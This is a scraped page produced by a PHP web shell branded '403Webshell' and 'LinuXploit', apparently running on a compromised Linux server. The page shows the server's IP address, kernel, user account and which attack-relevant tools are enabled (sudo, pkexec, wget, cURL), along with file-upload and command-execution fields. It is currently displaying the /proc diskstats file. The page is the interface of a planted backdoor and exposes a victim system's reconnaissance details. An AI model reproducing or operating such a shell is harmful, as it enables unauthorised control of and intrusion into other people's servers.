403Webshell
Server IP : 62.171.151.215  /  Your IP : 216.73.217.53
Web Server : nginx/1.18.0
System : Linux vmi3128365 5.15.0-176-generic #186-Ubuntu SMP Fri Mar 13 11:01:42 UTC 2026 x86_64
User : alex ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3097744/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3097744/root/proc/diskstats
   7       0 loop0 2138 0 152332 2679 0 0 0 0 0 9924 2679 0 0 0 0 0 0
   7       1 loop1 2858 0 85908 3473 0 0 0 0 0 10332 3473 0 0 0 0 0 0
   7       2 loop2 1413 0 96502 2306 0 0 0 0 0 6732 2306 0 0 0 0 0 0
   7       3 loop3 149 0 2582 611 0 0 0 0 0 604 611 0 0 0 0 0 0
   7       4 loop4 4514 0 121546 5882 0 0 0 0 0 16424 5882 0 0 0 0 0 0
   7       5 loop5 1492 0 89078 2940 0 0 0 0 0 7876 2940 0 0 0 0 0 0
   7       6 loop6 2515 0 45934 3341 0 0 0 0 0 9028 3341 0 0 0 0 0 0
   7       7 loop7 105 0 2372 53 0 0 0 0 0 140 53 0 0 0 0 0 0
  11       0 sr0 129 0 812 134 0 0 0 0 0 224 134 0 0 0 0 0 0
   8       0 sda 73674824 9793494 3376320149 122720122 223220975 123085658 7270990260 415950983 0 450169324 615007991 4343181 13 17853383972 9719926 94044080 66616958
   8       1 sda1 73670982 9771276 3376125230 122716030 223220973 123085658 7270990258 415950978 0 450164056 548386912 4343168 0 17850767384 9719903 0 0
   8      14 sda14 241 0 2078 176 0 0 0 0 0 276 176 0 0 0 0 0 0
   8      15 sda15 415 22218 39856 683 2 0 2 4 0 688 711 13 13 2616588 22 0 0
   7       8 loop8 11 0 28 1 0 0 0 0 0 8 1 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit